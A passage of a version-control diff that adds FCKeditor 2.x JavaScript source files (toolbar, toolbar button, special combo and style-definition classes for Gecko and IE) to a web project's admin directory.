+	}
+}	
+
+function FCKSpecialCombo_OnMouseOver()
+{
+	if ( this.SpecialCombo.Enabled )
+	{
+		switch ( this.SpecialCombo.Style )
+		{
+		case FCK_TOOLBARITEM_ONLYICON :
+			this.className = 'TB_Button_On_Over';
+			break ;
+		case FCK_TOOLBARITEM_ONLYTEXT :
+			this.className = 'TB_Button_On_Over';
+			break ;
+		case FCK_TOOLBARITEM_ICONTEXT :
+			this.className = 'SC_Field SC_FieldOver' ;
+			break ;
+		}
+	}
+}
+	
+function FCKSpecialCombo_OnMouseOut()
+{
+	switch ( this.SpecialCombo.Style )
+	{
+		case FCK_TOOLBARITEM_ONLYICON :
+			this.className = 'TB_Button_Off';
+			break ;
+		case FCK_TOOLBARITEM_ONLYTEXT :
+			this.className = 'TB_Button_Off';
+			break ;
+		case FCK_TOOLBARITEM_ICONTEXT :
+			this.className='SC_Field' ;
+			break ;
+	}
+}
+	
+function FCKSpecialCombo_OnClick( e )
+{
+	// For Mozilla we must stop the event propagation to avoid it hiding 
+	// the panel because of a click outside of it.
+//	if ( e )
+//	{
+//		e.stopPropagation() ;
+//		FCKPanelEventHandlers.OnDocumentClick( e ) ;
+//	}
+	
+	var oSpecialCombo = this.SpecialCombo ;
+
+	if ( oSpecialCombo.Enabled )
+	{
+		var oPanel			= oSpecialCombo._Panel ;
+		var oPanelBox		= oSpecialCombo._PanelBox ;
+		var oItemsHolder	= oSpecialCombo._ItemsHolderEl ;
+		var iMaxHeight		= oSpecialCombo.PanelMaxHeight ;
+		
+		if ( oSpecialCombo.OnBeforeClick )
+			oSpecialCombo.OnBeforeClick( oSpecialCombo ) ;
+
+		// This is a tricky thing. We must call the "Load" function, otherwise
+		// it will not be possible to retrieve "oItemsHolder.offsetHeight" (IE only).
+		if ( FCKBrowserInfo.IsIE )
+			oPanel.Preload( 0, this.offsetHeight, this ) ;
+
+		if ( oItemsHolder.offsetHeight > iMaxHeight )
+//		{
+			oPanelBox.style.height = iMaxHeight + 'px' ;
+
+//			if ( FCKBrowserInfo.IsGecko )
+//				oPanelBox.style.overflow = '-moz-scrollbars-vertical' ;
+//		}
+		else
+			oPanelBox.style.height = '' ;
+			
+//		oPanel.PanelDiv.style.width = oSpecialCombo.PanelWidth + 'px' ;
+
+		oPanel.Show( 0, this.offsetHeight, this ) ;
+	}
+
+//	return false ;
+}
+
+/* 
+Sample Combo Field HTML output:
+
+<div class="SC_Field" style="width: 80px;">
+	<table width="100%" cellpadding="0" cellspacing="0" style="table-layout: fixed;">
+		<tbody>
+			<tr>
+				<td class="SC_FieldLabel"><label>&nbsp;</label></td>
+				<td class="SC_FieldButton">&nbsp;</td>
+			</tr>
+		</tbody>
+	</table>
+</div>
+*/
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef.js	(revision 44)
@@ -0,0 +1,55 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstyledef.js
+ * 	FCKStyleDef Class: represents a single style definition.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKStyleDef = function( name, element )
+{
+	this.Name = name ;
+	this.Element = element.toUpperCase() ;
+	this.IsObjectElement = FCKRegexLib.ObjectElements.test( this.Element ) ;
+	this.Attributes = new Object() ;
+}
+
+FCKStyleDef.prototype.AddAttribute = function( name, value )
+{
+	this.Attributes[ name ] = value ;
+}
+
+FCKStyleDef.prototype.GetOpenerTag = function()
+{
+	var s = '<' + this.Element ;
+	
+	for ( var a in this.Attributes )
+		s += ' ' + a + '="' + this.Attributes[a] + '"' ;
+	
+	return s + '>' ;
+}
+
+FCKStyleDef.prototype.GetCloserTag = function()
+{
+	return '</' + this.Element + '>' ;
+}
+
+
+FCKStyleDef.prototype.RemoveFromSelection = function()
+{
+	if ( FCKSelection.GetType() == 'Control' )
+		this._RemoveMe( FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement() ) ;
+	else
+		this._RemoveMe( FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement() ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_gecko.js	(revision 44)
@@ -0,0 +1,116 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstyledef_gecko.js
+ * 	FCKStyleDef Class: represents a single stylke definition. (Gecko specific)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKStyleDef.prototype.ApplyToSelection = function()
+{
+	if ( FCKSelection.GetType() == 'Text' && !this.IsObjectElement )
+	{
+		var oSelection = FCK.ToolbarSet.CurrentInstance.EditorWindow.getSelection() ;
+		
+		// Create the main element.
+		var e = FCK.ToolbarSet.CurrentInstance.EditorDocument.createElement( this.Element ) ;
+		
+		for ( var i = 0 ; i < oSelection.rangeCount ; i++ )
+		{
+			e.appendChild( oSelection.getRangeAt(i).extractContents() ) ;
+		}
+		
+		// Set the attributes.
+		this._AddAttributes( e ) ;
+		
+		// Remove the duplicated elements.
+		this._RemoveDuplicates( e ) ;
+
+		var oRange = oSelection.getRangeAt(0) ;		
+		oRange.insertNode( e ) ;
+	}
+	else
+	{
+		var oControl = FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement() ;
+		if ( oControl.tagName == this.Element )
+			this._AddAttributes( oControl ) ;
+	}
+}
+
+FCKStyleDef.prototype._AddAttributes = function( targetElement )
+{
+	for ( var a in this.Attributes )
+	{
+		switch ( a.toLowerCase() )
+		{
+			case 'src' :
+				targetElement.setAttribute( '_fcksavedurl', this.Attributes[a], 0 ) ;
+			
+			default :
+				targetElement.setAttribute( a, this.Attributes[a], 0 ) ;
+		}
+	}
+}
+
+FCKStyleDef.prototype._RemoveDuplicates = function( parent )
+{
+	for ( var i = 0 ; i < parent.childNodes.length ; i++ )
+	{
+		var oChild = parent.childNodes[i] ;
+		
+		if ( oChild.nodeType != 1 )
+			continue ;
+		
+		this._RemoveDuplicates( oChild ) ;
+		
+		if ( this.IsEqual( oChild ) )
+			FCKTools.RemoveOuterTags( oChild ) ;
+	}
+}
+
+FCKStyleDef.prototype.IsEqual = function( e )
+{
+	if ( e.tagName != this.Element )
+		return false ;
+	
+	for ( var a in this.Attributes )
+	{
+		if ( e.getAttribute( a ) != this.Attributes[a] )
+			return false ;
+	}
+	
+	return true ;
+}
+
+FCKStyleDef.prototype._RemoveMe = function( elementToCheck )
+{
+	if ( ! elementToCheck )
+		return ;
+
+	var oParent = elementToCheck.parentNode ;
+
+	if ( elementToCheck.nodeType == 1 && this.IsEqual( elementToCheck ) )
+	{
+		if ( this.IsObjectElement )
+		{
+			for ( var a in this.Attributes )
+				elementToCheck.removeAttribute( a, 0 ) ;
+			return ;
+		}
+		else
+			FCKTools.RemoveOuterTags( elementToCheck ) ;
+	}
+	
+	this._RemoveMe( oParent ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstyledef_ie.js	(revision 44)
@@ -0,0 +1,139 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstyledef_ie.js
+ * 	FCKStyleDef Class: represents a single stylke definition. (IE specific)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKStyleDef.prototype.ApplyToSelection = function()
+{
+	var oSelection = FCK.ToolbarSet.CurrentInstance.EditorDocument.selection ;
+	
+	if ( oSelection.type == 'Text' )
+	{
+		var oRange = oSelection.createRange() ;
+		
+		// Create the main element.
+		var e = document.createElement( this.Element ) ;
+		e.innerHTML = oRange.htmlText ;
+		
+		// Set the attributes.
+		this._AddAttributes( e ) ;
+		
+		// Remove the duplicated elements.
+		this._RemoveDuplicates( e ) ;
+		
+		// Replace the selection with the resulting HTML.
+		oRange.pasteHTML( e.outerHTML ) ;
+	}
+	else if ( oSelection.type == 'Control' )
+	{
+		var oControl = FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement() ;
+		if ( oControl.tagName == this.Element )
+			this._AddAttributes( oControl ) ;
+	}
+}
+
+FCKStyleDef.prototype._AddAttributes = function( targetElement )
+{
+	for ( var a in this.Attributes )
+	{
+		switch ( a.toLowerCase() )
+		{
+			case 'style' :
+				targetElement.style.cssText = this.Attributes[a] ;
+				break ;
+
+			case 'class' :
+				targetElement.setAttribute( 'className', this.Attributes[a], 0 ) ;
+				break ;
+
+			case 'src' :
+				targetElement.setAttribute( '_fcksavedurl', this.Attributes[a], 0 ) ;
+
+			default :
+				targetElement.setAttribute( a, this.Attributes[a], 0 ) ;
+		}
+	}
+}
+
+FCKStyleDef.prototype._RemoveDuplicates = function( parent )
+{
+	for ( var i = 0 ; i < parent.children.length ; i++ )
+	{
+		var oChild = parent.children[i] ;
+		this._RemoveDuplicates( oChild ) ;
+		
+		if ( this.IsEqual( oChild ) )
+			FCKTools.RemoveOuterTags( oChild ) ;
+	}
+}
+
+FCKStyleDef.prototype.IsEqual = function( e )
+{
+	if ( e.tagName != this.Element )
+		return false ;
+	
+	for ( var a in this.Attributes )
+	{
+		switch ( a.toLowerCase() )
+		{
+			case 'style' :
+				if ( e.style.cssText.toLowerCase() != this.Attributes[a].toLowerCase() )
+					return false ;
+				break ;
+			case 'class' :
+				if ( e.getAttribute( 'className', 0 ) != this.Attributes[a] )
+					return false ;
+				break ;
+			default :
+				if ( e.getAttribute( a, 0 ) != this.Attributes[a] )
+					return false ;
+		}
+	}
+	
+	return true ;
+}
+
+FCKStyleDef.prototype._RemoveMe = function( elementToCheck )
+{
+	if ( ! elementToCheck )
+		return ;
+
+	var oParent = elementToCheck.parentElement ;
+
+	if ( this.IsEqual( elementToCheck ) )
+	{
+		if ( this.IsObjectElement )
+		{
+			for ( var a in this.Attributes )
+			{
+				switch ( a.toLowerCase() )
+				{
+					case 'class' :
+						elementToCheck.removeAttribute( 'className', 0 ) ;
+						break ;
+					default :
+						elementToCheck.removeAttribute( a, 0 ) ;
+				}
+			}
+			return ;
+		}
+		else
+			FCKTools.RemoveOuterTags( elementToCheck ) ;
+	}
+	
+	this._RemoveMe( oParent ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstylesloader.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstylesloader.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckstylesloader.js	(revision 44)
@@ -0,0 +1,84 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstylesloader.js
+ * 	FCKStylesLoader Class: this class define objects that are responsible
+ * 	for loading the styles defined in the XML file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKStylesLoader = function()
+{
+	this.Styles = new Object() ;
+	this.StyleGroups = new Object() ;
+	this.Loaded = false ;
+	this.HasObjectElements = false ;
+}
+
+FCKStylesLoader.prototype.Load = function( stylesXmlUrl )
+{
+	// Load the XML file into a FCKXml object.
+	var oXml = new FCKXml() ;
+	oXml.LoadUrl( stylesXmlUrl ) ;
+	
+	// Get the "Style" nodes defined in the XML file.
+	var aStyleNodes = oXml.SelectNodes( 'Styles/Style' ) ;
+	
+	// Add each style to our "Styles" collection.
+	for ( var i = 0 ; i < aStyleNodes.length ; i++ )
+	{
+		var sElement = aStyleNodes[i].attributes.getNamedItem('element').value.toUpperCase() ;
+	
+		// Create the style definition object.
+		var oStyleDef = new FCKStyleDef( aStyleNodes[i].attributes.getNamedItem('name').value, sElement ) ;
+		
+		if ( oStyleDef.IsObjectElement )
+			this.HasObjectElements = true ;
+		
+		// Get the attributes defined for the style (if any).
+		var aAttNodes = oXml.SelectNodes( 'Attribute', aStyleNodes[i] ) ;
+		
+		// Add the attributes to the style definition object.
+		for ( var j = 0 ; j < aAttNodes.length ; j++ )
+		{
+			var sAttName	= aAttNodes[j].attributes.getNamedItem('name').value ;
+			var sAttValue	= aAttNodes[j].attributes.getNamedItem('value').value ;
+
+			// IE changes the "style" attribute value when applied to an element
+			// so we must get the final resulting value (for comparision issues).
+			if ( sAttName.toLowerCase() == 'style' )
+			{
+				var oTempE = document.createElement( 'SPAN' ) ;
+				oTempE.style.cssText = sAttValue ;
+				sAttValue = oTempE.style.cssText ;
+			}
+			
+			oStyleDef.AddAttribute( sAttName, sAttValue ) ;
+		}
+
+		// Add the style to the "Styles" collection using it's name as the key.
+		this.Styles[ oStyleDef.Name ] = oStyleDef ;
+		
+		// Add the style to the "StyleGroups" collection.
+		var aGroup = this.StyleGroups[sElement] ;
+		if ( aGroup == null )
+		{
+			this.StyleGroups[sElement] = new Array() ;
+			aGroup = this.StyleGroups[sElement] ;
+		}
+		aGroup[aGroup.length] = oStyleDef ;
+	}
+	
+	this.Loaded = true ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbar.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbar.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbar.js	(revision 44)
@@ -0,0 +1,116 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbar.js
+ * 	FCKToolbar Class: represents a toolbar in the toolbarset. It is a group of
+ * 	toolbar items.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbar = function()
+{
+	this.Items = new Array() ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKToolbar_Cleanup ) ;
+}
+
+FCKToolbar.prototype.AddItem = function( item )
+{
+	return this.Items[ this.Items.length ] = item ;
+}
+
+FCKToolbar.prototype.AddButton = function( name, label, tooltip, iconPathOrStripInfoArrayOrIndex, style, state )
+{
+	if ( typeof( iconPathOrStripInfoArrayOrIndex ) == 'number' )
+		 iconPathOrStripInfoArrayOrIndex = [ this.DefaultIconsStrip, this.DefaultIconSize, iconPathOrStripInfoArrayOrIndex ] ;
+
+	var oButton = new FCKToolbarButtonUI( name, label, tooltip, iconPathOrStripInfoArrayOrIndex, style, state ) ;
+	oButton._FCKToolbar = this ;
+	oButton.OnClick = FCKToolbar_OnItemClick ;
+	
+	return this.AddItem( oButton ) ;
+}
+
+function FCKToolbar_OnItemClick( item )
+{
+	var oToolbar = item._FCKToolbar ;
+	
+	if ( oToolbar.OnItemClick )
+		oToolbar.OnItemClick( oToolbar, item ) ;
+}
+
+FCKToolbar.prototype.AddSeparator = function()
+{
+	this.AddItem( new FCKToolbarSeparator() ) ;
+}
+
+FCKToolbar.prototype.Create = function( parentElement )
+{
+	if ( this.MainElement )
+	{
+//		this._Cleanup() ;
+		if ( this.MainElement.parentNode )
+			this.MainElement.parentNode.removeChild( this.MainElement ) ;
+		this.MainElement = null ;
+	}
+
+	var oDoc = FCKTools.GetElementDocument( parentElement ) ;
+
+	var e = this.MainElement = oDoc.createElement( 'table' ) ;
+	e.className = 'TB_Toolbar' ;
+	e.style.styleFloat = e.style.cssFloat = ( FCKLang.Dir == 'ltr' ? 'left' : 'right' ) ;
+	e.dir = FCKLang.Dir ;
+	e.cellPadding = 0 ;
+	e.cellSpacing = 0 ;
+	
+	this.RowElement = e.insertRow(-1) ;
+	
+	// Insert the start cell.
+	var eCell ;
+	
+	if ( !this.HideStart )
+	{
+		eCell = this.RowElement.insertCell(-1) ;
+		eCell.appendChild( oDoc.createElement( 'div' ) ).className = 'TB_Start' ;
+	}
+	
+	for ( var i = 0 ; i < this.Items.length ; i++ )
+	{
+		this.Items[i].Create( this.RowElement.insertCell(-1) ) ;
+	}
+	
+	// Insert the ending cell.
+	if ( !this.HideEnd )
+	{
+		eCell = this.RowElement.insertCell(-1) ;
+		eCell.appendChild( oDoc.createElement( 'div' ) ).className = 'TB_End' ;
+	}
+
+	parentElement.appendChild( e ) ;
+}
+
+function FCKToolbar_Cleanup()
+{
+	this.MainElement = null ;
+	this.RowElement = null ;
+}
+
+var FCKToolbarSeparator = function()
+{}
+
+FCKToolbarSeparator.prototype.Create = function( parentElement )
+{
+	FCKTools.AppendElement( parentElement, 'div' ).className = 'TB_Separator' ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_gecko.js	(revision 44)
@@ -0,0 +1,32 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarbreak_gecko.js
+ * 	FCKToolbarBreak Class: breaks the toolbars.
+ * 	It makes it possible to force the toolbar to break to a new line.
+ * 	This is the Gecko specific implementation.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarBreak = function()
+{}
+
+FCKToolbarBreak.prototype.Create = function( targetElement )
+{
+	var oBreakDiv = targetElement.ownerDocument.createElement( 'div' ) ;
+	
+	oBreakDiv.style.clear = oBreakDiv.style.cssFloat = FCKLang.Dir == 'rtl' ? 'right' : 'left' ;
+	
+	targetElement.appendChild( oBreakDiv ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbreak_ie.js	(revision 44)
@@ -0,0 +1,34 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarbreak_ie.js
+ * 	FCKToolbarBreak Class: breaks the toolbars.
+ * 	It makes it possible to force the toolbar to brak to a new line.
+ * 	This is the IE specific implementation.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarBreak = function()
+{}
+
+FCKToolbarBreak.prototype.Create = function( targetElement )
+{
+	var oBreakDiv = FCKTools.GetElementDocument( targetElement ).createElement( 'div' ) ;
+	
+	oBreakDiv.className = 'TB_Break' ;
+	
+	oBreakDiv.style.clear = FCKLang.Dir == 'rtl' ? 'left' : 'right' ;
+	
+	targetElement.appendChild( oBreakDiv ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbutton.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbutton.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbutton.js	(revision 44)
@@ -0,0 +1,70 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarbutton.js
+ * 	FCKToolbarButton Class: represents a button in the toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarButton = function( commandName, label, tooltip, style, sourceView, contextSensitive, icon )
+{
+	this.CommandName		= commandName ;
+	this.Label				= label ;
+	this.Tooltip			= tooltip ;
+	this.Style				= style ;
+	this.SourceView			= sourceView ? true : false ;
+	this.ContextSensitive	= contextSensitive ? true : false ;	
+
+	if ( icon == null )
+		this.IconPath = FCKConfig.SkinPath + 'toolbar/' + commandName.toLowerCase() + '.gif' ;
+	else if ( typeof( icon ) == 'number' )
+		this.IconPath = [ FCKConfig.SkinPath + 'fck_strip.gif', 16, icon ] ;
+}
+
+FCKToolbarButton.prototype.Create = function( targetElement )
+{
+	this._UIButton = new FCKToolbarButtonUI( this.CommandName, this.Label, this.Tooltip, this.IconPath, this.Style ) ;
+	this._UIButton.OnClick = this.Click ;
+	this._UIButton._ToolbarButton = this ;	
+	this._UIButton.Create( targetElement ) ;
+}
+
+FCKToolbarButton.prototype.RefreshState = function()
+{
+	// Gets the actual state.
+	var eState = FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName ).GetState() ;
+	
+	// If there are no state changes than do nothing and return.
+	if ( eState == this._UIButton.State ) return ;
+	
+	// Sets the actual state.
+	this._UIButton.ChangeState( eState ) ;
+}
+
+FCKToolbarButton.prototype.Click = function()
+{
+	var oToolbarButton = this._ToolbarButton || this ;
+	FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( oToolbarButton.CommandName ).Execute() ;
+}
+
+FCKToolbarButton.prototype.Enable = function()
+{
+	this.RefreshState() ;
+}
+
+FCKToolbarButton.prototype.Disable = function()
+{
+	// Sets the actual state.
+	this._UIButton.ChangeState( FCK_TRISTATE_DISABLED ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbuttonui.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbuttonui.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarbuttonui.js	(revision 44)
@@ -0,0 +1,218 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarbuttonui.js
+ * 	FCKToolbarButtonUI Class: interface representation of a toolbar button.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarButtonUI = function( name, label, tooltip, iconPathOrStripInfoArray, style, state )
+{
+	this.Name		= name ;
+	this.Label		= label || name ;
+	this.Tooltip	= tooltip || this.Label ;
+	this.Style		= style || FCK_TOOLBARITEM_ONLYICON ;
+	this.State		= state || FCK_TRISTATE_OFF ;
+	
+	this.Icon = new FCKIcon( iconPathOrStripInfoArray ) ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKToolbarButtonUI_Cleanup ) ;
+}
+
+
+FCKToolbarButtonUI.prototype._CreatePaddingElement = function( document )
+{
+	var oImg = document.createElement( 'IMG' ) ;
+	oImg.className = 'TB_Button_Padding' ;
+	oImg.src = FCK_SPACER_PATH ;
+	return oImg ;
+}
+
+FCKToolbarButtonUI.prototype.Create = function( parentElement )
+{
+	var oMainElement = this.MainElement ;
+	
+	if ( oMainElement )
+	{
+		FCKToolbarButtonUI_Cleanup.call(this) ;
+		
+		if ( oMainElement.parentNode )
+			oMainElement.parentNode.removeChild( oMainElement ) ;
+		oMainElement = this.MainElement = null ;
+	}
+
+	var oDoc = FCKTools.GetElementDocument( parentElement ) ;
+	
+	// Create the Main Element.
+	oMainElement = this.MainElement = oDoc.createElement( 'DIV' ) ;
+	oMainElement._FCKButton = this ;		// IE Memory Leak (Circular reference).
+	oMainElement.title		= this.Tooltip ;
+
+	// The following will prevent the button from catching the focus.
+	if ( FCKBrowserInfo.IsGecko )
+		 oMainElement.onmousedown	= FCKTools.CancelEvent ;
+
+	this.ChangeState( this.State, true ) ;
+
+	if ( this.Style == FCK_TOOLBARITEM_ONLYICON && !this.ShowArrow )
+	{
+		// <td><div class="TB_Button_On" title="Smiley">{Image}</div></td>
+		
+		oMainElement.appendChild( this.Icon.CreateIconElement( oDoc ) ) ;
+	}
+	else
+	{
+		// <td><div class="TB_Button_On" title="Smiley"><table cellpadding="0" cellspacing="0"><tr><td>{Image}</td><td nowrap>Toolbar Button</td><td><img class="TB_Button_Padding"></td></tr></table></div></td>
+		// <td><div class="TB_Button_On" title="Smiley"><table cellpadding="0" cellspacing="0"><tr><td><img class="TB_Button_Padding"></td><td nowrap>Toolbar Button</td><td><img class="TB_Button_Padding"></td></tr></table></div></td>
+		
+		var oTable = oMainElement.appendChild( oDoc.createElement( 'TABLE' ) ) ;
+		oTable.cellPadding = 0 ;
+		oTable.cellSpacing = 0 ;
+
+		var oRow = oTable.insertRow(-1) ;
+		
+		// The Image cell (icon or padding).
+		var oCell = oRow.insertCell(-1) ;
+		
+		if ( this.Style == FCK_TOOLBARITEM_ONLYICON || this.Style == FCK_TOOLBARITEM_ICONTEXT )
+			oCell.appendChild( this.Icon.CreateIconElement( oDoc ) ) ;
+		else
+			oCell.appendChild( this._CreatePaddingElement( oDoc ) ) ;
+		
+		if ( this.Style == FCK_TOOLBARITEM_ONLYTEXT || this.Style == FCK_TOOLBARITEM_ICONTEXT )
+		{
+			// The Text cell.
+			oCell = oRow.insertCell(-1) ;
+			oCell.className = 'TB_Button_Text' ;
+			oCell.noWrap = true ;
+			oCell.appendChild( oDoc.createTextNode( this.Label ) ) ;
+		}
+		
+		if ( this.ShowArrow )
+		{
+			if ( this.Style != FCK_TOOLBARITEM_ONLYICON )
+			{	
+				// A padding cell.
+				oRow.insertCell(-1).appendChild( this._CreatePaddingElement( oDoc ) ) ;
+			}
+			
+			oCell = oRow.insertCell(-1) ;
+			var eImg = oCell.appendChild( oDoc.createElement( 'IMG' ) ) ;
+			eImg.src	= FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif' ;
+			eImg.width	= 5 ;
+			eImg.height	= 3 ;
+		}
+
+		// The last padding cell.
+		oCell = oRow.insertCell(-1) ;
+		oCell.appendChild( this._CreatePaddingElement( oDoc ) ) ;
+	}
+	
+	parentElement.appendChild( oMainElement ) ;
+}
+
+FCKToolbarButtonUI.prototype.ChangeState = function( newState, force )
+{
+	if ( !force && this.State == newState )
+		return ;
+
+	var e = this.MainElement ;
+
+	switch ( parseInt( newState ) )
+	{
+		case FCK_TRISTATE_OFF :
+			e.className		= 'TB_Button_Off' ;
+			e.onmouseover	= FCKToolbarButton_OnMouseOverOff ;
+			e.onmouseout	= FCKToolbarButton_OnMouseOutOff ;
+			e.onclick		= FCKToolbarButton_OnClick ;
+			
+			break ;
+			
+		case FCK_TRISTATE_ON :
+			e.className		= 'TB_Button_On' ;
+			e.onmouseover	= FCKToolbarButton_OnMouseOverOn ;
+			e.onmouseout	= FCKToolbarButton_OnMouseOutOn ;
+			e.onclick		= FCKToolbarButton_OnClick ;
+			
+			break ;
+
+		case FCK_TRISTATE_DISABLED :
+			e.className		= 'TB_Button_Disabled' ;
+			e.onmouseover	= null ;
+			e.onmouseout	= null ;
+			e.onclick		= null ;
+			bEnableEvents = false ;
+			break ;
+	}
+
+	this.State = newState ;
+}
+
